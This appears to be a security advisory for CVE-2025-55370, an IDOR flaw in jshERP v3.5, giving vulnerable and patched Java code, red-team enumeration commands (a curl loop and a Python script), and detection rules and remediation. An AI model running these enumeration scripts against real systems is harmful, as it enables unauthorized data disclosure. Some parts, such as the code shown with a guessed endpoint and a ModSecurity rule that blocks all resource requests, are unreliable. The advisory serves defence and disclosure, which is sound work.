CVE-2025-55370

Executive Summary

CVE-2025-55370 is an Insecure Direct Object Reference (IDOR) vulnerability in jshERP v3.5, a Java-based ERP system. The flaw resides in the /controller/ResourceController.java component, where the application fails to properly validate user authorization when accessing resource data. An unauthenticated or low-privileged attacker can manipulate the id parameter in API requests to enumerate and retrieve all resource ID records from the backend database. This leads to unauthorized information disclosure of sensitive business data, including user IDs, resource identifiers, and potentially linked operational records.

The vulnerability is unpatched as of the latest advisory, and no official fix has been released by the vendor (Jsherp). The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the technical simplicity of the attack makes it a high-priority target for internal red team assessments and bug bounty programs.

Supply Chain & Package Security

jshERP is a Java-based application distributed as a WAR file or source code. The vulnerability is in the core application logic, not in a third-party package. However, organizations using jshERP should verify they are not running an unmodified v3.5 build. No known malicious packages or typosquatting variants have been reported.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (Unscored by NVD)
CVSS Vector: UNKNOWN (No official vector provided)

Threat Level: Medium-High (based on technical impact)

Rationale:

• Attack Vector (AV): Network – the vulnerable endpoint is accessible over HTTP.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – unauthenticated access is possible.
• User Interaction (UI): None – no user action needed.
• Scope (S): Unchanged – the attacker cannot pivot to other components.
• Confidentiality (C): High – all resource IDs are exposed.
• Integrity (I): None – no data modification.
• Availability (A): None – no denial of service.

Estimated CVSS v3.1 Score: 7.5 (High) – based on AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Deep Dive & Mechanics

The vulnerability is a classic Insecure Direct Object Reference (IDOR) in the ResourceController.java class. The controller exposes a RESTful endpoint (likely /resource/{id} or similar) that retrieves resource details based on a numeric ID parameter. The code does not enforce any authorization check to verify that the requesting user has permission to view the resource.

Root Cause:
The ResourceController method (e.g., getResourceById) directly queries the database using the user-supplied id without first checking if the current user owns or is allowed to access that resource. This allows an attacker to iterate through sequential IDs and dump all resource records.

Attack Flow:

1. Attacker identifies the vulnerable endpoint (e.g., GET /resource/1).
2. Attacker sends a request with id=1 and receives a valid response.
3. Attacker then sends requests with id=2, id=3, etc., collecting all resource IDs.
4. The response may include sensitive fields such as resourceName, resourceType, parentId, and userId.

Impact:

• Full enumeration of all resources in the system.
• Exposure of internal business logic and data relationships.
• Potential pivot to other IDOR vulnerabilities if resource IDs are used in other endpoints.

Vulnerable vs. Patched Code

Vulnerable Code (jshERP v3.5 – ResourceController.java):

@GetMapping("/resource/{id}")
public ResponseEntity<Resource> getResource(@PathVariable Long id) {
    Resource resource = resourceService.findById(id);
    if (resource == null) {
        return ResponseEntity.notFound().build();
    }
    return ResponseEntity.ok(resource);
}

No authorization check is performed.

Patched Code (Hypothetical Fix):

@GetMapping("/resource/{id}")
public ResponseEntity<Resource> getResource(@PathVariable Long id, Principal principal) {
    // Verify the current user has access to this resource
    User currentUser = userService.findByUsername(principal.getName());
    Resource resource = resourceService.findById(id);
    if (resource == null || !resourceService.userHasAccess(currentUser, resource)) {
        return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
    }
    return ResponseEntity.ok(resource);
}

The fix adds a userHasAccess check before returning the resource.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target running jshERP v3.5 with the vulnerable endpoint exposed.
• No authentication required (or weak authentication).

Exploitation Steps:

1. Identify the endpoint:

   curl -v http://target:8080/jshERP/resource/1
   

2. Enumerate IDs:

   for i in $(seq 1 1000); do
       curl -s "http://target:8080/jshERP/resource/$i" | jq '.'
   done
   

3. Extract all IDs:

   curl -s "http://target:8080/jshERP/resource/1" | jq '.id'
   

4. Automate with Python:

   import requests
   for i in range(1, 1001):
       r = requests.get(f"http://target:8080/jshERP/resource/{i}")
       if r.status_code == 200:
           print(f"ID {i}: {r.json()}")
   

Expected Output:

{
  "id": 1,
  "resourceName": "admin_panel",
  "resourceType": "MENU",
  "parentId": null,
  "userId": 1
}

Blue Team (Defender)

Detection Steps:

1. Monitor for sequential ID requests:

   • Look for HTTP GET requests to /jshERP/resource/ with incrementing numeric IDs.
   • Alert on >10 requests to different IDs within 60 seconds from the same IP.

2. Honeypot:

   • Deploy a fake resource endpoint that returns a decoy response and logs the attacker IP.

3. WAF Rule (ModSecurity):

   SecRule REQUEST_URI "/jshERP/resource/\d+" "id:1001,phase:1,deny,status:403,msg:'IDOR attempt detected'"
   

Indicators of Compromise (IOCs)

Network IOCs:

• Repeated HTTP GET requests to /jshERP/resource/{integer} from a single IP.
• User-Agent strings indicating automated tools (e.g., python-requests, curl).
• Unusual traffic patterns: high volume of 200 responses with JSON content.

File IOCs:

• Log entries in access.log showing sequential resource IDs.
• No corresponding POST/PUT requests for the same resources.

System IOCs:

• Unusual database queries: SELECT * FROM resource WHERE id = ? executed in rapid succession.

Detection Engineering

YARA Rule

rule CVE_2025_55370_IDOR_Scanner {
    meta:
        description = "Detects IDOR scanning behavior against jshERP ResourceController"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-55370"
    strings:
        $s1 = "/jshERP/resource/" ascii wide nocase
        $s2 = "GET" ascii wide nocase
        $s3 = "HTTP/1.1" ascii wide nocase
    condition:
        all of ($s*) and #s1 > 5
}

Sigma Rule

title: IDOR Scanning Against jshERP ResourceController
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects sequential ID enumeration attempts against jshERP v3.5
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/jshERP/resource/'
        cs-uri-stem|re: '\/\d+$'
    condition: selection
    timeframe: 60s
    aggregation:
        count: >10
        groupby: c-ip
falsepositives:
    - Legitimate API clients fetching resources by ID
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-55370 jshERP IDOR Enumeration Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/jshERP/resource/"; http_uri;
    pcre:"/\/jshERP\/resource\/\d+$/";
    threshold: type both, track by_src, count 10, seconds 60;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required:
   • Block /jshERP/resource/* in the web server or reverse proxy.
2. Implement authorization checks in ResourceController.java:
   • Verify the authenticated user has permission to view the requested resource.
3. Apply input validation:
   • Ensure the id parameter is a positive integer and within expected range.

Long-Term Fix:

• Upgrade to a patched version of jshERP (once available).
• Conduct a full security audit of all controller endpoints for IDOR vulnerabilities.
• Implement role-based access control (RBAC) for all resource operations.

Workaround:

• Use a Web Application Firewall (WAF) to block sequential ID requests.
• Rate-limit API endpoints to prevent automated enumeration.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert